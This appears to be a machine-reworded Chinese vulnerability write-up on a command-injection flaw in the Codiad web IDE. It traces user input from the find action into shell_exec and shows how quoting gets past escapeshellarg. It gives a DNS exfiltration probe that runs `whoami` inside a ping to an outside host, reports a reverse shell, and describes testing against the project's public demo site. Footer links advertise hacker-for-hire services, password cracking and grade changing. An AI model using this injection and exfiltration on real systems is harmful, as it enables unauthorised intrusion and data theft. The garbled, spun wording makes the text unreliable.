Codiad在线IDE结构缝隙发掘

访客5年前黑客工具970

简介 :
Codiad 是一个开源根据Web的IDE应用程序,用于在线编写和修改代码。
库房 :
https://github.com/Codiad/Codiad
环境建立 :
经过phpstudy建立根底,并敞开Xdebug 。
可参阅https://blog.csdn.net/flyingdream123/Article/details/69358819进行环境装备。
缝隙发掘进程:
经过cve缝隙库对Codiad以往缝隙进行查询,发现该结构对shell_exec()函数的处理上曾多次呈现问题,将针对点确认在了对该函数的调用上。

 

上一个版别中该处呈现了指令履行缝隙,官网或许现已修补,先不考虑。
确认find()函数调用

$cmd 参数由$input 设置
$input由$this->query设置

this->query参数经过get传参获取
查找对find()调用的方位

 


测验更改action参数值为find并动态调试调查

在进入action判别前,对path参数进行了断定,一切此刻必定要注意你当时目录的姓名

走到这儿今后,经过shell_exec履行拼接好的操作,咱们可以清楚的看见此刻咱们结构query参数被””包含着,参阅上一个代码履行缝隙的阐明,在调用escapeshellarg函数对传入参数进行处理后,如果有””包含着,则依然可以进行指令履行。

经过现有判别,咱们开端结构payload,由于结构参数为Linux下,所以不得不开端建立linux试验环境,参阅http://www.freebuf.com/articles/web/141788.html进行linux环境建立

将没有查询成果时回来信息修改为履行的$cmd
$this->message = $cmd; 便于咱们检查履行的指令
选用dns外带查询判别是否有指令履行存在

需注意在“ 中再履行子指令应该运用$()履行

由此确认了该参数的确存在指令履行缝隙。
现在测验反弹一下shell
服务器翻开监听

 


发现shell成功反弹。
对demo站进行测验。

履行句子后,无shell回来,测验一下其他指令
`ping –c 1 $(whoami) .xxx.xxx.io“  发现dns外带,依然可以得到信息,证明指令履行是存在的,
考虑是不是存在其他约束。

[1] [2]  黑客接单网

相关文章

破解QQ空间相册密码_黑客读取邮箱联系人-黑客接单平台

ARP全称为Address Resolution Protocol,即地址解析协议。 是依据IP地址获取物理地址的一个TCP/IP协议。 主机发送信息时将包括 方针IP地址的ARP恳求播送到网络上的一...

黑客论坛,找黑客进入大学题库,怎么找黑客高手联系方式

试验东西:1.login1接口会在发送暗码前先进行是否存在账号进行检测,回来相应的错误码,能够随机遍历手机号测验接口获得存在的手机号列表,或许由于注册用户较少原因,测验158号码时分只得到一个注册手机...

我在微信上赌钱输了好多钱报警钱能要回来吗

在微软今年五月份的漏洞更新安全公告中,提到了一个跟远程桌面协议(RDP)有关的漏洞。 我们之所以要在这里专门针对这个漏洞进行分析,是因为这个漏洞更新涉及到Windows XP以及其他多个Windows...

qq黑客接单有真的么_网上被骗找黑客帮忙

sudo apt install g++-4.4下面是举例阐明的电话脚本V3版别智能机器人是怎样打电话的qq黑客接单有真的么,网上被骗找黑客帮忙 net use 192.168.112.128 /u:...

私人接单黑客,急找网络游戏黑客,能不能找黑客改大学成绩

id=1172%0aorder%0aby%0a24 过错Level Goal if (data[0] == 'e') { $("#i_msg").val(''); $("...

又一个登陆框引起的血案

继前次登陆框引起的血案这个文章之后,时隔一个月笔者又写了续集,呃……升华版。 0×00 文章内容结构图 0×01 信息走漏 运用走漏的信息能够大大添加咱们的可测验点,然后添加咱们的成功率。 1. HT...